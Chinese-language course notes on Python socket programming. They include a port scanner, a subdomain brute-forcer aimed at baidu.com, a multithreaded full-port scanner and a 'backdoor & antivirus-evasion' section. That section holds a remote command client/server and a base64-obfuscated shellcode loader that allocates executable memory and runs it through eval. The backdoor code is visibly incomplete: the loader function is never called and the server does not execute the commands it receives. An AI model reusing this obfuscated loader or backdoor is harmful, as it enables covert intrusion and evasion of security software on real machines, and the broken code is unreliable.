
安全开发-Python-Socket 编程&反弹 Shell&分离免杀&端口探针&域名
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演示案例： 

 Socket-通讯连接-端口扫描&域名爆破 

 Socket-通讯后门-反弹后门&免杀应用 

 Thread-多线程-自定义扫描&全端口扫描   

#知识点： 

1、Python-Socket&threading 

2、Python-应用方向-后门&免杀&通讯 

3、Python-多线程-threading&queue 

 

#章节点： 

Web 爬虫解析类 

多线程异步处理类 

Socket 网络通讯类 

其他第三方库数据类 

 

#应用点： 

信息打点，POC&EXP 利用，工具 API 调用，文件流量监控，工具脚本开发,远控后门等 



 

#Socket-通讯连接-端口扫描&域名爆破 

import socket 

 

def port_scan(ip,port): 

    s=socket.socket() 

    try: 

        s.connect((ip,int(port))) 

        print(port+':open') 

    except Exception as e: 

        print(port+':close') 

    finally: 

        s.close() 

 

if __name__ == '__main__': 

    #自定义端口扫描 

    ip = '127.0.0.1' 

    ports='80,135,445,3389' 

    for port in ports.split(','): 

        port_scan(ip, port) 

         

         

import socket 

 

def domain_ip(url): 

    for a in open('dic.txt'): 

        urls=a.strip()+'.'+url 

        try: 

            ip=socket.gethostbyname(urls) 

            print(urls+'|'+ip) 

        except Exception as e: 

            pass 

 

if __name__ == '__main__': 

    url='baidu.com' 

    domain_ip(url) 



 

#Socket-通讯后门-反弹后门&免杀应用 

client.py 

import socket,sys 

 

ip=sys.argv[1] 

port=sys.argv[2] 

s1=socket.socket() 

s1.connect((ip,int(port))) 

 

while True: 

    cmdline=input('please input cmdline:') 

    s1.send(cmdline.encode()) 

    cmddata=s1.recv(1024).decode() 

    print(cmddata) 

 

s1.close() 

 

server.py 

import socket,os,ctypes,base64 

 

s=socket.socket() 

s.bind(('0.0.0.0',9999)) 

s.listen(5) 

 

def zx(s): 

    sc = base64.b64decode(s) 

    

code='cnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9

jKDAsIGxlbihzYyksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwz

Mi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1Z

mZlcihzYyksIGxlbihzYykpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMz

IuQ3JlYXRlVGhyZWFkKDAsIDAsIHJ3eHBhZ2UsIDAsIDAsIDApCmN0eXBlcy53aW5

kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsIC0xKQ==' 

    c=base64.b64decode(code) 

    eval(c) 

 

while 1: 

    sock,addr=s.accept() 

    print(sock, addr) 

    while 1: 

        cmd=sock.recv(10241).decode() 

        print(cmd) 

        print(type(cmd)) 



 

 

涉及资源： 

补充：涉及录像课件资源软件包资料等下载地址 

 

#Thread-多线程-自定义扫描&全端口扫描  

import socket 

import threading 

import queue 

 

def port_scan(): 

    while not q.empty(): 

        ip = '127.0.0.1' 

        port = q.get() 

        #print(port) 

        s = socket.socket() 

        if s.connect_ex((ip, port)) == 0: 

            print("%d is open" %port) 

        else: 

            #print("%d is close" %port) 

            pass 

        s.close() 

 

if __name__ == '__main__': 

    #全端口扫描 

    q = queue.Queue() 

    for port in range(1,65536): 

        q.put(port) 

    for i in range(30): 

        t = threading.Thread(target=port_scan) 

        t.start() 

https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

